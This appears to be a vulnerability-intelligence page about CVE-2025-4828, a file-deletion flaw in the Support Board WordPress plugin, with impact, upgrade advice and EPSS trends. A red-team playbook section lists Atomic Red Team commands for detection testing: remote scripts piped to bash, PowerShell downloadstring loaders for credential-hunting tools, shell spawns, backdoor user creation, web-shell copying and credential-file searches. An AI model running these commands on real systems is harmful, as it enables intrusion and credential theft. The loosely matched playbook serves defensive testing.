CVE-2025-4828
Overview
This vulnerability is a directory traversal flaw caused by insufficient validation of file paths in the sb_file_delete function within the Schiocco Support Board WordPress plugin. The affected component improperly sanitizes user-supplied input used to specify files for deletion, allowing manipulation of file paths beyond intended directories. This lack of proper path normalization and validation enables arbitrary file deletion on the underlying server filesystem in all plugin versions up to and including 3.8.0.
Vulnerability Description
The Support Board plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the sb_file_delete function in all versions up to, and including, 3.8.0. This makes it possible for attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). An attacker can leverage CVE-2025-4855 vulnerability to exploit this vulnerability unauthenticated.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to delete arbitrary files on the web server hosting the WordPress site. This capability can be leveraged to remove critical configuration files, potentially leading to remote code execution or denial of service. The exploit requires no user interaction or privileges (AV:N/AC:L/PR:N/UI:N), allowing widespread exploitation against vulnerable installations. The resulting impact includes full compromise of the WordPress environment, data loss, and service disruption.
Solution
Users should upgrade the Schiocco Support Board plugin to version 3.8.1 or later, where the file deletion function has been secured against path traversal attacks. Detailed patch instructions and version information are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/33989611-8640-4c33-a34e-14f10cd7286d. No official workaround is documented; immediate update is recommended to mitigate this critical vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Support Board plugin for WordPress stems from inadequate validation of file paths within the sb_file_delete function. This flaw allows an attacker to execute arbitrary file deletion commands, which can lead to severe consequences for the affected server environment. The insufficient checks on file paths mean that an attacker can potentially target critical files, such as configuration files or other sensitive data, leading to unauthorized access or manipulation of the system. The risk is exacerbated by the fact that this vulnerability is present in all versions up to and including 3.8.0, leaving a significant number of installations exposed.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker can leverage the flaw to delete files without needing to authenticate against the WordPress instance. This could be achieved by crafting specific requests that exploit the lack of validation in the file deletion process. For instance, an attacker could send a request to delete wp-config.php, which contains sensitive database credentials. Once this file is deleted, the attacker could gain access to the database, leading to further exploitation opportunities, including remote code execution or data exfiltration. The ease of exploitation combined with the high impact of successful attacks makes this vulnerability particularly concerning.
The real-world implications of this vulnerability are significant, especially for businesses that rely on WordPress for their online presence. The potential for unauthorized file deletion can lead to service disruptions, loss of critical data, and a breach of customer trust. If an attacker successfully deletes essential files, it could result in downtime for the website, affecting revenue and brand reputation. Furthermore, if sensitive customer data is compromised, businesses may face legal repercussions and regulatory scrutiny, especially in regions with strict data protection laws. The high CVSS score of 9.8 underscores the severity of the risk, indicating that organizations must prioritize addressing this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Support Board plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAF) can help filter out malicious requests attempting to exploit the flaw. Monitoring server logs for unusual file deletion activities can also serve as an early warning system, allowing administrators to respond quickly to potential breaches. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by attackers.
In conclusion, the vulnerability in the Support Board plugin for WordPress represents a critical security risk that can lead to severe consequences for affected organizations. The combination of arbitrary file deletion capabilities and the potential for further exploitation creates a pressing need for immediate attention and remediation. By adopting proactive detection and mitigation strategies, businesses can protect their digital assets and maintain the integrity of their online operations.
CSURFACE threat intelligence has identified a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-4828, rising by over 150% to a level placing it near the 93rd percentile. This significant increase indicates growing confidence in the likelihood of exploitation, even though no new exploit techniques or proof-of-concept code have been observed in the wild. The elevated EPSS score suggests that threat actors are increasingly prioritizing this vulnerability, likely due to its critical impact and the potential for unauthenticated exploitation when combined with CVE-2025-4855. For defenders, this shift underscores an urgent need to reassess exposure and reinforce monitoring around affected WordPress environments, as the risk of successful compromise has materially intensified. While the immediate exploit landscape remains unchanged, the upward trend in predictive scoring reflects a heightened threat posture that elevates the overall risk level from high to critical, warranting increased vigilance.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Schiocco | Support Board | All |
cpe:2.3:a:schiocco:support_board:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-4828 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/33989611-8640-4c33-a34e-14f10cd7286d?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/support-board-help-desk-and-chat/20359943 |